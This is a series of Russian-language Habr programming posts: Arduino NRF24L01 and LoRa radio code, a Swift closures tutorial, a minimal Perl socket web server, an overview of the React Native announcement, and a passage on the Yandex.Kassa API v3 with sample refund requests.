#include // Подключаем библиотеку для работы с модулем NRF24L01
#define PIN\_LED 3 // Номер пина Arduino, к которому подключён светодиод
#define PIN\_CE 4 // Номер пина Arduino, к которому подключён вывод CE радиомодуля
#define PIN\_CSN 5 // Номер пина Arduino, к которому подключён вывод CSN радиомодуля
RF24 radio(PIN\_CE, PIN\_CSN); // Создаём объект radio с указанием выводов CE и CSN
const byte address[6] = "00001";
void setup() {
Serial.begin(115200);
pinMode(PIN\_LED, OUTPUT); // Настраиваем на выход пин светодиода
radio.begin(); // Инициализация модуля NRF24L01
radio.setChannel(5); // Обмен данными будет вестись на пятом канале (2,405 ГГц)
radio.setDataRate (RF24\_1MBPS); // Скорость обмена данными 1 Мбит/сек
radio.setPALevel(RF24\_PA\_HIGH); // Выбираем высокую мощность передатчика (-6dBm)
radio.openReadingPipe (1, 0x7878787878LL); // Открываем трубу ID передатчика
radio.startListening(); // Начинаем прослушивать открываемую трубу
}
void loop() {
if (radio.available()) {
char text[14]="";
radio.read(&text, sizeof(text));
Serial.println(text);
}
}
```
**Код передатчика**
```
/*
* Arduino Wireless Communication Tutorial
* Example 1 - Transmitter Code
*
* by Dejan Nedelkovski, www.HowToMechatronics.com
*
* Library: TMRh20/RF24, https://github.com/tmrh20/RF24/
*/
#include // Подключаем библиотеку для работы с SPI-интерфейсом
#include // Подключаем файл конфигурации из библиотеки RF24
#include // Подключаем библиотеку для работы с модулем NRF24L01
#define PIN\_POT A7 // Номер пина Arduino, к которому подключён потенциометр
#define PIN\_CE 4 // Номер пина Arduino, к которому подключён вывод CE радиомодуля
#define PIN\_CSN 5 // Номер пина Arduino, к которому подключён вывод CSN радиомодуля
RF24 radio(PIN\_CE, PIN\_CSN); // Создаём объект radio с указанием выводов CE и CSN
const byte address[6] = "00001";
void setup() {
radio.begin(); // Инициализация модуля NRF24L01
radio.setChannel(5); // Обмен данными будет вестись на пятом канале (2,405 ГГц)
radio.setDataRate (RF24\_1MBPS); // Скорость обмена данными 1 Мбит/сек
radio.setPALevel(RF24\_PA\_HIGH); // Выбираем высокую мощность передатчика (-6dBm)
radio.openWritingPipe(0x7878787878LL); // Открываем трубу с уникальным ID
}
void loop() {
const char text[] = "Привет!";
radio.write(&text, sizeof(text));
delay(1000);
}
```
Для работы модуля я скачал самую последнюю версию библиотеки RF24 [с её официального github-а](https://github.com/nRF24/RF24).
Тут стоит отметить интересный момент: необходимо использовать только самые последние версии библиотек.
Почему: когда я пытался использовать старые версии библиотек, например, 2016 года, скачав один из тестовых скетчей с интернета (который тестирует совместимость библиотеки и конкретного радиомодуля), библиотека у меня выдавала сообщение «неопознанный радиомодуль» и не узнавала устройство, более новое, чем сама библиотека. Поэтому следует использовать только самые последние версии.
Сверхдальний радиус
-------------------
И здесь, конечно же, в голову приходит один из самых известных вариантов осуществления дальней радиосвязи в рамках интернета вещей — это так называемая LoRa или «Long Range». Скорость соединения находится приблизительно в диапазоне до 27 кбит/сек. (но это сильно громко сказано и это максимум), и типичные скорости могут лежать в пределах 3-5 кбит/с.
Уже по характеристикам понятно, что подобный тип связи не предназначен для передачи больших и тяжёлых пакетов. Его назначение в другом: гарантированно передать на большое расстояние малый объём информации. Длина волны устройства (433 МГц или 868 МГц) легко огибает препятствия, и датчики могут считываться на расстояниях вплоть до 10 км. Хотя согласен, вопрос достаточно спорный и зависит от устройства антенны. Известны случаи осуществления радиосвязи даже на расстоянии порядка 200 км. Хотя — это скорее экстремальный вариант…
Для построения сетей на базе LoRa можно использовать [модуль RFM95](https://makeradvisor.com/tools/rfm95-lora-transceiver-module/). Тогда код приёмника и передачи для этого случая будут выглядеть [следующим образом](https://randomnerdtutorials.com/esp32-lora-rfm95-transceiver-arduino-ide/):
**Код передатчика**
```
/*********
Modified from the examples of the Arduino LoRa library
More resources: https://randomnerdtutorials.com
*********/
#include
#include
//define the pins used by the transceiver module
#define ss 5
#define rst 14
#define dio0 2
int counter = 0;
void setup() {
//initialize Serial Monitor
Serial.begin(115200);
while (!Serial);
Serial.println("LoRa Sender");
//setup LoRa transceiver module
LoRa.setPins(ss, rst, dio0);
//replace the LoRa.begin(---E-) argument with your location's frequency
//433E6 for Asia
//866E6 for Europe
//915E6 for North America
while (!LoRa.begin(866E6)) {
Serial.println(".");
delay(500);
}
// Change sync word (0xF3) to match the receiver
// The sync word assures you don't get LoRa messages from other LoRa transceivers
// ranges from 0-0xFF
LoRa.setSyncWord(0xF3);
Serial.println("LoRa Initializing OK!");
}
void loop() {
Serial.print("Sending packet: ");
Serial.println(counter);
//Send LoRa packet to receiver
LoRa.beginPacket();
LoRa.print("hello ");
LoRa.print(counter);
LoRa.endPacket();
counter++;
delay(10000);
}
```
**Код приёмника**
```
/*********
Modified from the examples of the Arduino LoRa library
More resources: https://randomnerdtutorials.com
*********/
#include
#include
//define the pins used by the transceiver module
#define ss 5
#define rst 14
#define dio0 2
void setup() {
//initialize Serial Monitor
Serial.begin(115200);
while (!Serial);
Serial.println("LoRa Receiver");
//setup LoRa transceiver module
LoRa.setPins(ss, rst, dio0);
//replace the LoRa.begin(---E-) argument with your location's frequency
//433E6 for Asia
//866E6 for Europe
//915E6 for North America
while (!LoRa.begin(866E6)) {
Serial.println(".");
delay(500);
}
// Change sync word (0xF3) to match the receiver
// The sync word assures you don't get LoRa messages from other LoRa transceivers
// ranges from 0-0xFF
LoRa.setSyncWord(0xF3);
Serial.println("LoRa Initializing OK!");
}
void loop() {
// try to parse packet
int packetSize = LoRa.parsePacket();
if (packetSize) {
// received a packet
Serial.print("Received packet '");
// read packet
while (LoRa.available()) {
String LoRaData = LoRa.readString();
Serial.print(LoRaData);
}
// print RSSI of packet
Serial.print("' with RSSI ");
Serial.println(LoRa.packetRssi());
}
}
```
Подытоживая этот рассказ, хотелось бы сказать, что, на мой взгляд, большую часть потребностей закроют возможности Wi-Fi соединения, которые позволят обеспечить высокоскоростную надёжную связь на ближайшем радиусе и на среднем радиусе, если мы будем использовать Wi-Fi LR. Хотя, как вариант, можно использовать и BLE, если энергозатратность не стоит у вас на первом месте.
Говоря же о дальнем радиусе, мне видится наиболее применимым использование модулей NRF24L01+ со встроенным усилителем и внешней антенной, так как именно они позволят осуществлять высокоскоростную передачу на большом расстоянии по весьма приемлемой цене.
Здесь же нельзя не отметить возможность построения на них весьма интересной архитектуры сети, которая может быть полезна для множества применений, например, для Multiceiver (Multiple Transmitters Single Receiver").
При такой архитектуре физический радиочастотный канал внутри ещё подразделяется на шесть каналов логических. Таким образом, на одной и той же частоте возможно осуществлять связь с шестью различными устройствами, находящимися в пределах действия радиосети. Другими словами, можно получить сеть из 6х125 = 750 slave-устройств!
*Картинка [Joyta](https://www.joyta.ru/12366-kak-rabotaet-radiomodul-nrf24l01-s-arduino-opisanie-raspinovka-podklyuchenie-datasheet/)*
С подробным описанием (как оно работает на аппаратном уровне), можно ознакомиться [вот здесь](https://www.joyta.ru/12366-kak-rabotaet-radiomodul-nrf24l01-s-arduino-opisanie-raspinovka-podklyuchenie-datasheet/#:~:text=NRF24L01%2B%20Multiceiver).
Конкретные варианты построения сетей (с примерами кода), можно посмотреть [вот здесь](https://howtomechatronics.com/tutorials/arduino/how-to-build-an-arduino-wireless-network-with-multiple-nrf24l01-modules/).
Подробная документация по модулям NRF24L01+ находится [по этому адресу](https://nrf24.github.io/RF24/), а API библиотеки можно найти [по этой ссылке](https://nrf24.github.io/RF24/classRF24.html).
Подобный кейс (Multiceiver) является весьма частым, и мне приходилось слышать даже о построении сети на подобных устройствах для мониторинга погружного оборудования для добычи нефти, расположенного в ближайшем окружении в северных условиях.
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/674884/ | null | ru | null |
# Анонимные функции в Swift
Эта публикация является конспектом соответствующего раздела замечательной книги [«iOS 8 Programming Fundamentals with Swift»](http://shop.oreilly.com/product/0636920034278.do) Matt Neuburg, O'Reilly, 2015. Статья, описывающая использование анонимных функций, может быть интересной новичкам или пригодится как шпаргалка для более продвинутых разработчиков.
Рассмотрим пример:
```
func whatToAnimate() {//self.myButton является кнопкой в интерфейсе
Self.myButton.frame.origin.y += 20
}
func whatToDoLater(finished:Bool) {
printLn(“finished: \(finished)”)
}
UIView.animateWithDuration(
0.4, animations: whatToAnimate, completion: whatToDoLater)
```
В этом участке кода есть некоторая странность. Я объявляю функции whatToAnimate и whatToDoLater только для того, чтобы передать эти функции на следующую строку кода. И действительно, имена этих функций мне больше ни для чего не нужны – ни имена, ни эти функции больше никогда не будут повторно использованы. Было бы хорошо передавать только тела этих функций, без необходимости декларации их имен.
Такие функции называются анонимными, они имеют право на существование и часто используются в Swift.
### Создание анонимной функции
Чтоб создать анонимную функцию мы делаем две вещи:
1. Создаем тело функции, включая окружающие фигурные скобки, но без декларации функции.
2. Если необходимо, то в первой строке внутри фигурных скобок, после команды in, описываем список аргументов функции и тип возвращаемой переменной.
Рассмотрим на примере, как преобразовать функцию в анонимную. Код исходной функции:
```
func whatToAnimate () {
Self.mybutton.frame.origin.y += 20
}
```
Вот пример анонимной функции, которая выполняет ту же задачу. Мы переместили список аргументов и возвращаемый тип внутрь фигурных скобок:
```
{
() -> () in
self.myButton.frame.origin.y += 20
}
```
Теперь, когда мы знаем, как создать анонимную функцию, посмотрим, как мы можем ее использовать. В нашем вызове animateWithDuration, точка, в которой мы вызваем функции, является местом, где мы передаем аргументы этой функции. Значит, мы можем создавать анонимную функцию прямо в этой же точке, например так:
```
UIView.animateWithDuration(0.4, animations: {
() -> () in
self.myButton.frame.origin.y += 20
} , completion: {
(finished:Bool) -> () in
printLn(“finished: \(finished)”)
})
```
Анонимные функции очень часто используются в Swift, так что следует убедиться, что мы легко читаем и пишем такой код. Анонимные функции настолько общеупотребительны и настолько важны, что существуют некоторые сокращения, используемые при их создании. Рассмотрим такие случаи.
### Опускаем тип возвращаемой переменной
Если компилятор уже знает, какой тип переменной вернет функция, то мы можем опустить оператор arrow, тип и спецификацию переменной.
```
UIView.animateWithDuration(0.4, animations: {
() in
self.myButton.frame.origin.y += 20
}, completion: {
(finished:Bool) in
printLn(“finished: \(finished)”)
})
```
### Опускаем строку с оператором in, когда в ней нет аргументов
Если анонимная функция не принимает аргументов и если тип возвращаемой переменной может быть опущен, то и строка с командой in может быть опущенной целиком:
```
UIView.animateWithDuration(0.4, animations: {
self.myButton.frame.origin.y += 20
}, сompletion: {
(finished:Bool) in
printLn(“finished: \(finished)”)
})
```
### Опускаем типы аргументов
Если анонимная функция принимает аргументы, и их типы известны компилятору, то эти типы могут быть опущены:
```
UIView.animateWithDuration(0.4, animations: {
self.myButton.frame.origin.y += 20
}, completion: {
(finished) in
printLn(“finished: \(finished)”)
})
```
### Опускаем скобки
Если типы аргументов могут быть опущены, то и скобки вокруг этих аргументов могут быть опущены:
```
UIView.animateWithDuration(0.4, animations: {
self.myButton.frame.origin.y += 20
}, completion: {
finished in
printLn(“finished: \(finished)”)
})
```
### Опускаем строку с in, даже если в ней есть аргументы
Если возвращаемый тип может быть опущен, и если типы аргументов известны компилятору, вы можете опустить строку с in и ссылаться на аргументы прямо из тела анонимной функции используя имена $0, $1 и так далее по порядку:
```
UIView.animateWithDuration(0.4, animations: {
self.myButton.frame.origin.y += 20
}, completion: {
printLn(“finished: \($0)”)
})
```
### Опускаем имена аргументов
Если ваша анонимная функция не нуждается в аргументах, то вы можете опустить аргументы, заменяя их имена знаком подчеркивания в строке с in:
```
UIView.animateWithDuration(0.4, animations: {
self.myButton.frame.origin.y += 20
}, completion: {
_ in
printLn(“finished!”)
})
```
Примечание. Если ваша анонимная функция принимает аргументы, вы должны их так или иначе использовать. Вы можете опустить строку с in и использовать аргументы по их именам типа $0, $1 и так далее, или вы можете сохранить строку с in и заменить аргументы на знак подчеркивания, но вы не можете одновременно и опускать строку с in, и не использовать аргументы по их именам $0, $1. Если вы так поступите, ваш код не будет скомпилирован.
### Опускаем имена аргументов вызывающей функции
Если ваша анонимная функция является последним параметром, который передается в вызове, то вы можете закрыть вызов скобкой до последнего параметра, а затем поставить тело анонимной функции без указания имен аргументов. Такой способ называется замыкающей функцией (trailing function).
```
UIView.animateWithDuration(0.4, animations: {
self.myButton.frame.origin.y += 20
}) {
_ in
printLn(“finished!”)
})
```
### Опускаем скобки вызывающей функции
Если вы используете замыкающую функцию и вызываемая вами функцияне принимает других параметров, кроме передаваемой вами функции, вы можете опустить пустые скобки в вызове. Для примера я объявлю и вызову другую функцию:
```
func doThis(f: () -> ()) {
f()
}
doThis { // тут опускаем скобки
printLn(“Hello”)
}
```
Это единственная ситуация, в которой вы можете опустить скобки в вызове функции.
### Опускаем ключевое слово return
Если тело анонимной функции состоит только из одного утверждения и это утверждение состоит из возвращаемой величины с ключевым словом return, то ключевое слово return может быть опущено. Иначе говоря, в ситуации когда ожидаем, что функция вернет величину, если тело анонимной функции состоит только из одного утверждения, Swift подразумевает, что это утверждение является выражением, чье значение будет возвращено из анонимной функции:
```
func sayHello() -> String {
return “Hello”
}
func performAndPrint(f: () -> String) {
let s = f()
printLn(s)
}
performAndPrint {
sayHello() //подразумевая return sayHello() в функции performAndPrint
}
```
### Практическое использование
Рассмотрим пример. У нас есть массив переменных и нам нужно получить новый массив, состоящий из тех же величин, умноженных на 2, вызванных при помощи метода map. Метод массива map принимает функцию, которая принимает аргумент и возвращает переменную того же типа, как и элемент массива. Наш массив состоит из переменных Int, следовательно мы будем передавать методу map функцию, которая принимает параметр Int и возвращает Int. Мы могли бы написать целую функцию, например такую
```
let arr = [2, 3, 4, 5, 6]
func doubleMe(i:Int) -> {
return i*2
}
let arr2 = arr.map(doubleMe)
```
Однако такой подход не полностью использует возможности Swift. Нам больше нигде не нужна функция doubleMe, так что она вполне может стать анонимной. Тип возвращаемой ею переменной известен, так что нам не нужно указывать его. Тут всего лишь один параметр, и мы собираемся использовать его, но нам не нужна строка с in, если мы ссылаемся на параметр как $0. Тело нашей функции состоит из одного утверждения, и это return, так что мы можем опустить return. И функция map не принимает каких-либо других параметров, так что мы можем опустить скобки и сразу после анонимной функции указывать имя:
```
let arr = [2, 3, 4, 5, 6]
let arr2 = arr.map {$0*2}
```
Если начать пользоваться анонимными функциями, то вы обнаружите, что часто пользуетесь преимуществами, которыми они предоставляют. Вдобавок, вы часто будете сокращать объем кода (но не в ущерб коду), помещая целые анонимные функции в одну строку с вызовом функции. | https://habr.com/ru/post/256127/ | null | ru | null |
# Почти-web-сервер своими руками
В последнее время появилось несколько постов по привлечению внимания к определённым языкам программирования на примере написания некоего несложного «web-сервера». Раз уж пошла такая пьянка perl пока не затронули, то добавлю и свои пять копеек :)
Будем писать несложное серверное приложение, маскирующееся под http-сервер.
Наш «сервер» будет слушать локальный порт 8080 и приветствовать всех обратившихся, либо отдавать содержимое запрошенного файла при его наличии (в папке, откуда был запущен скрипт-сервер).
Для начала простой и короткий код. Думаю, на данном этапе особо комментировать ничего не требуется, так что комментирование оставим на потом.
> 1. #!/usr/bin/perl
> 2. use LWP::Socket;
> 3.
> 4. $headers = "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n";
> 5. $sock = new LWP::Socket();
> 6. $sock->bind('127.0.0.1', '8080');
> 7. $sock->listen(10);
> 8.
> 9. while ( $socket = $sock->accept(10) ) {
> 10. $content = "Hello from Habr";
> 11. $file\_name; $socket->read( \$file\_name );
> 12. $file\_name =~ s/GET \/([^ ]\*) HTTP.+/$1/s;
> 13. if ( open FILE, '<', $file\_name ) {
> 14. $content = join "", ; close FILE;
> 15. }
> 16. $socket->write( $headers . $content );
> 17. $socket->shutdown();
> 18. }
>
Это некрасивый код, так лучше не пис*а*ть, данный пример только чтобы показать, что требуемый функционал при необходимости можно реализовать достаточно быстро и небольшим количеством кода.
Этот код надо облагородить и дополнить. Сделаем его немного более читабельным, добавим проверку удалось ли забиндиться на указанный порт (а то вдруг он уже занят), будем проверять существование файла перед попыткой его открыть, ну и хорошим тоном будет задействовать прагмы strict и warnings.
> 1. #!/usr/bin/perl
> 2.
> 3. *use strict*;
> 4. *use warnings*;
> 5.
> 6. use LWP::Socket;
> 7.
> 8. my $headers = "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n";
> 9.
> 10. my $sock = new LWP::Socket();
> 11. *die "Can't bind a socket" unless* $sock->bind('127.0.0.1', '8080');
> 12. $sock->listen(10);
> 13.
> 14. while ( my $socket = $sock->accept(10) ) {
> 15. my $content = "Hello from Habr";
> 16. my $file\_name;
> 17. $socket->read( \$file\_name );
> 18. $file\_name =~ s/GET \/([^ ]\*) HTTP.+/$1/s;
> 19. if ( *-f $file\_name and* open FILE, '<', $file\_name ) {
> 20. $content = join "", ;
> 21. close FILE;
> 22. }
> 23. $socket->write( $headers . $content );
> 24. $socket->shutdown();
> 25. }
> 26.
> 27. $sock->shutdown();
>
Всего на несколько строк больше, но зато скрипт стал немного культурнее.
Здесь у нас
*`use LWP::Socket;`*
подключаем нужный нам модуль. Он достаточно прост в использовании, поэтому выбрал именно его.
*`my $sock = new LWP::Socket();`*
создаём сокет
*`$sock->bind('127.0.0.1', '8080');
$sock->listen(10);`*
биндим сокет на локалный 8080 порт и задаём длину очереди
*`while ( my $socket = $sock->accept(10) ) {`*
ждём подключения
при подключении в $socket вернётся новый LWP::Socket()
*`$socket->read( \$file_name );
$file_name =~ s/GET \/([^ ]*) HTTP.+/$1/s;`*
читаем всё из сокета и выцепляем имя запрашиваемого файла
*`$socket->write( $headers . $content );`*
пишем в сокет заголовки и ответ
*`$socket->shutdown();`*
закрываем полученный «на сессию» LWP::Socket()
На этом даже можно было бы и закончить, но мы же хотим получше замаскироваться под http-сервер, а значит нам нужна мультипоточность, дабы выдерживать нагрузки :)
Для этого задействуем модуль FCGI::ProcManager, в результате у нас будет один «головной» процесс и пять дочерних. Для этого нужно добавить всего четыре строки:
> 1. #...
> 2.
> 3. use LWP::Socket;
> 4. *use FCGI::ProcManager qw/ pm\_manage pm\_pre\_dispatch pm\_post\_dispatch /*;
> 5.
> 6. my $headers = "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n";
> 7.
> 8. my $sock = new LWP::Socket();
> 9. die "Can't bind a socket" unless $sock->bind('127.0.0.1', '8080');
> 10. $sock->listen(10);
> 11.
> 12. *pm\_manage(n\_processes => 5)*;
> 13.
> 14. while ( my $socket = $sock->accept(10) ) {
> 15. *pm\_pre\_dispatch(*);
> 16. my $content = "Hello from Habr";
> 17.
> 18. #...
> 19.
> 20. $socket->shutdown();
> 21. *pm\_post\_dispatch(*);
> 22. }
> 23.
> 24. $sock->shutdown();
>
И вот наш «сервер» готов. Можно пользоваться :). Осталось привести полный код, чтобы его можно было просто скопипастить в файл, запустить и убедиться, что всё работает.
Этот код с небольшими дополнениями:
— дополнены заголовки
— в качестве индексной страницы отдаётся «приветствие»
— в качестве остальных — что попросят
— если файл не найден сообщаем браузеру об этом 404 ошибкой
— добавлены комментарии
> 1. #!/usr/bin/perl
> 2.
> 3. use strict;
> 4. use warnings;
> 5.
> 6. use LWP::Socket;
> 7. use FCGI::ProcManager qw/ pm\_manage pm\_pre\_dispatch pm\_post\_dispatch /;
> 8.
> 9. # Prepare headers
> 10. my $headers = "HTTP/1.1 %d OK\r\n"
> 11. . "Server: FakeServer/2009-09-12\r\n"
> 12. . "Content-Type: text/html\r\n"
> 13. . "Content-Length: %d\r\n"
> 14. . "Connection: close\r\n\r\n";
> 15.
> 16. # Prepare and open socket
> 17. my $sock = new LWP::Socket();
> 18. die "Can't bind a socket" unless $sock->bind('127.0.0.1', '8080');
> 19. $sock->listen(10);
> 20.
> 21. # Create 5 childs
> 22. pm\_manage(n\_processes => 5);
> 23.
> 24. # Accepts a new connection
> 25. while ( my $socket = $sock->accept(10) ) {
> 26. # Passing direction to child
> 27. pm\_pre\_dispatch();
> 28. # Default content
> 29. my $content = "Hello from Habr
> ===============
>
> ";
> 30. my $stat = 200;
> 31. my $file\_name;
> 32. # Read from socket
> 33. $socket->read( \$file\_name );
> 34. # Get wanted file name
> 35. $file\_name =~ s/GET \/([^ ]\*) HTTP.+/$1/s;
> 36.
> 37. if ( $file\_name ) {
> 38. if ( -f $file\_name and open FILE, '<', $file\_name ) {
> 39. # Read from file
> 40. $content = join "", ;
> 41. close FILE;
> 42. }
> 43. else {
> 44. $content = "File not found";
> 45. $stat = 404;
> 46. }
> 47. }
> 48. # Puts headers and content into the socket
> 49. $socket->write( sprintf( $headers, $stat, length $content ) );
> 50. $socket->write( $content );
> 51. $socket->shutdown();
> 52.
> 53. # Child's work complete
> 54. pm\_post\_dispatch();
> 55. }
> 56.
> 57. # Close socket
> 58. $sock->shutdown();
>
Инструкция по применению:
— скопировать код и вставить в файл
— запустить ( perl file.pl )
— в браузере открыть httр://127.0.0.1:8080/
Надеюсь, последний вариант никого не отпугнёт :)
P.S. Если кому интересно, то это дело с 10 child'ами скушало 15 метров оперативки, при тестировании запросами в 30 потоков смогло обрабатывать порядка 2000 запросов в секунду (10 потоков запрашивали существующие файлы). Запускал на локальной машине, на тесте оба ядра были загружены под потолок.
---------
Подсветка [отсюда](http://highlight.hohli.com/) | https://habr.com/ru/post/69411/ | null | ru | null |
# Анонс React Native
Не так давно в Калифронии прошла [конференция по React.js](http://conf.reactjs.com/) (доклады с этой конференции уже размещены [на канале facebook разработчиков в youtube](https://www.youtube.com/channel/UCP_lo1MFyx5IXDeD9s_6nUw)). Доклады, как не сложно догадаться, были о различных возможностях React.js и применении их в реальной жизни, но два доклада презентовали исключительно новую технологию, бета-версия которой в данный момент доступна только для разработчиков, посетивших мероприятие. Если вы уже посмотрели доклады, то понимаете, что речь идет о React Native. В данной статье я хочу сделать краткий обзор того, что нас ждёт в будущем с этой технологией и как изменится наше представление о создании мобильных приложений с использованием JavaScript.
#### Что такое React Native?
Итак, давайте разберемся что такое React Native и для каких целей инженеры facebook изобрели эту технологию. Но перед этим, я хочу вас спросить, что вы думаете насчёт Apache Cordova? Медленно? Плавный UI — миф? Лучше использовать WebView с обвязкой на JS? Да-да, так оно и было до анонса React Native. Представьте себе, что в течении пары ближайших месяцев произойдет релиз гибридной системы от facebook на основе React.js и взаимодействия с родными элементами iOS / Android систем (т.е. не создавать WebView, как это делает PhoneGap, но использовать встроенные компоненты, которые предоставляют вышеуказанные платформы). Такой подход позволит разработчикам, уже знакомым с React.js, в схожей манере разрабатывать нативные приложения. **React Native не использует ни браузер, ни WebView** — только JavaScript API поверх нативных компонентов. Позвольте пояснить как это работает: вы пишете JavaScript код (имхо, скорее всего это будет JSX код), и он работает с нативными компонентами операционной системы, под которую вы разрабатываете, тем самым перенося достоинства и удобства использования React.js из браузера в мобильные приложения. В отличие от того же PhoneGap, который при возникновении нативного события блокирует поток и передает управление на JS-код, ожидая его инструкций (собственно, лаги вы можете наблюдать именно из-за этого), React Native выполняет JS в отдельном фоновом потоке, взаимодействуя с главным потоком асинхронно, т.е. в потоке JS собирается ряд команд к главному потоку и в определенный момент времени, отправляется сгруппированный запрос (batch-запрос), тем самым никак не блокируя главный поток выполнения программы (как это работает в жизни [можно посмотреть тут](http://youtu.be/KVZ-P-ZI6W4?t=23m9s) или скачать приложение facebook groups, которое скоро появится в AppStore).
#### Как насчёт стилей?
Тут надо сразу сказать, что facebook не остановился на использовании HTML-like синтаксиса в JS(X) файлах, и следующим решением было использовать CSS-объектную нотацию (сродни той, что можно использовать в браузерах) в рамках мобильных приложений. Это дает ряд неоспоримых преимуществ, например вы можете вычислять количественные свойства элементов (таких как цвет, толщина, размер и т.п.) прямо на лету в ходе выполнения программы и инкапсулировать стили на уровне с вашими компонентами. Выглядит это так:
```
var styles = {
textStyle: {
color: 'yellow',
fontSize: 14
}
};
React.render(Test, document.body);
```
Как вы могли заметить, вместо привычного ``используется` . Это обусловлено именами компонентов на iOS и Android платформах. Финальная реализация портирования JSX на мобильные платформы пока что остается загадкой (но насколько понятно из презентаций, для каждой платформы будет свой специфический набор тегов для JSX).
В завершении обзора хочу сказать, что идеей React Native не является поддержка идеологии "Write once, run anywhere" (Однажды написав код, вы можете использовать его на всех платформах), но "Learn once, write anywhere" (Научившись однажды, вы можете писать для любой платформы).
В статье использовались материалы и информация из видео:
* [React.js Conf 2015 Keynote - Introducing React Native](https://www.youtube.com/watch?v=KVZ-P-ZI6W4) (Введение в React Native)
* [React.js Conf 2015 Keynote 2 - A Deep Dive into React Native](https://www.youtube.com/watch?v=7rDsRXj9-cU) (Глубокое погружение в React Native)` | https://habr.com/ru/post/249393/ | null | ru | null |
# Восемь причин перейти на новый API Яндекс.Кассы
В октябре 2017 года у Яндекс.Кассы появились новый платёжный протокол и третья версия API. Мы уже [рассказывали](https://habr.com/ru/company/yamoney/blog/340210/) о том, как и почему к этому пришли, а сейчас напомним ключевые причины перейти на него для тех, кто этого ещё не сделал.
### 1. Подключение платежей стало реально быстрым
На новом API оно происходит в 5-10 раз быстрее, чем раньше, и теперь среднестатистический разработчик может подключить платежи к своему (ну, или не совсем) сайту или приложению за один рабочий день, а не за пять, как было раньше. Речь, конечно, о той части работы, когда всё согласовано, заявки одобрены и ключи доступа получены. Но на это тоже достаточно дня.
А для тех, кто продаёт в соцсетях, работает выставление счетов на почту, смской или просто ссылкой, которую можно отправить в личные сообщения.
### 2. Экономятся силы разработчиков и админов
Для сопровождения старой версии нужно позаботиться о разных мелких вещах — выделить под работу с API статический IP-адрес, раз в год менять сертификаты. А ещё в старой версии нет поддержки SNI-режима HTTPS, который сейчас бесплатно (или почти бесплатно) входит в услугу «хостинг с HTTPS» у многих хостинг-провайдеров
Для возвратов, подтверждения, отмены или повтора платежей картой используется протокол MWS (Merchant Web Services). С помощью MWS магазин может [совершать возвраты](https://kassa.yandex.ru/tech/payment-management/payment-management-financial-return-payment.html), [подтверждать](https://kassa.yandex.ru/tech/payment-management/payment-management-financial-confirm-payment.html) и [отменять](https://kassa.yandex.ru/tech/payment-management/payment-management-financial-cancel-payment.html) отложенные платежи, а также [повторять платежи банковской картой](https://kassa.yandex.ru/tech/payment-management/payment-management-financial-repeat-card-payment.html) (если плательщик на это согласился). В старой версии API для работы с MWS магазину нужно было получить от удостоверяющего центра Яндекс.Денег сертификат X.509, с помощью которого магазин формировал запросы к Яндекс.Кассе. Сейчас всё это идет из коробки — вы просто получаете ключи доступа и внедряете нужные платёжные методы.
В общем, из процесса интеграции пропало много лишних вещей, с которыми приходилось разбираться своими силами и тратить на это время разработчиков и админов.
### 3. Только REST и ничего лишнего
Мы [переписали](https://habr.com/ru/company/yamoney/blog/340210/) всё в REST-стиле — теперь протокол понятно построен и предсказуемо себя ведёт. В копилку прошлых сложностей — почти у каждого платёжного метода был собственный синтаксис, сценарий и *процесс*, через который приходилось пройти при установке, настройке и проведении платежей. Новый протокол избавился от «детских болезней», соответствует стандартам — которые, в том числе, задают международные платежные лидеры.
Давайте для сравнения посмотрим на [старый](https://kassa.yandex.ru/tech/payment-management/payment-management-financial-return-payment.html) и [новый](https://kassa.yandex.ru/developers/payments/basics/refunds) методы возврата платежа.
Раньше нужно было сформировать документ-распоряжение на исполнение операции по стандарту XML 1.0, сформировать криптопакет формата PKCS#7 с цифровой подписью, но без цепочек сертификации, компрессии данных и шифрования. После этого формировался POST-запрос по HTTP/1.1 с телом криптопакета или во вложении через MIME-тип application/pkcs-mime. Дальше дело за малым — передать восемь входных параметров и, в принципе, всё готово.
Итого, HTTP-запрос:
```
POST /webservice/mws/api/returnPayment HTTP/1.1
Content-Type: application/pkcs7-mime
Content-Length: 906
——-BEGIN PKCS7——-
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAaCA
JIAEgbE8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pg0KPG1h
a2VEZXBvc2l0aW9uUmVzcG9uc2UgY2xpZW50T3JkZXJJZD0iMTI5MTExNjIzNDUy
OCIgc3RhdHVzPSIwIi6789Jvcj0iMCIgcHJvY2Vzc2VkRFQ9IjIwMTAtMTEtMzBU
MTE6MjM6NTQuNjI0WiIgYmFsYW5jZT0iNTQxNDYuNzMiIC8+DQoAAAAAAAAxggF8
MIIBeAIBATB3MGoxCzAJBgNVBAYTAlJVMQ8wDQYDVQQIEwZSdXNzaWExFjAUBgNV
BAcTDVN0LlBldGVyc2J1cmcxITAfBgNVBAoTGEludGVybmV0IFdpZGdpdHMgUHR5
IEx0ZDEPMA0GA1UEAxMGc2VydmVyAgkAy2xbdQckXjIwCQYFKw4DAhoFAKBdMBgG
CSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTEwMTEzMDEx
MjM1NVowIwYJKoZIhvcNAQkEMRYEFEYNh8glwqIXGR/n6oYrApa8DaO5MA0GCSqG
SIb3DQEBAQUABIGAHlgGsYK30RXWBvuQao0V73KIPQE1A6BCg7Y6Iag/xlmZ3rBB
kFpszF/O2fB+t84pCHfV15ErZQEkAqIotkEYEgA3hAddEW5+RWUzp+3npHpW5OY7
h3niP5Pj+r0P8EDgHe2j0Zb3dzj2mbwOshZD+FP1IcR8AmiTV3u35C6KAEsAAAAA
AAA=
——-END PKCS7——-
```
И сам запрос на возврат платежа:
В новой версии API возврат платежа на Python выглядит так:
```
refund = Refund.create({
"amount": {
"value": "2.00",
"currency": "RUB"
},
"payment_id": "21741269-000d-50be-b000-0486ffbf45b0"
})
```
Вернётся понятный JSON, который можно разобрать чем угодно за минимальное время:
```
{
"id": "216742f7-0016-50be-b000-078a43a63ae4",
"status": "succeeded",
"amount": {
"value": "2.00",
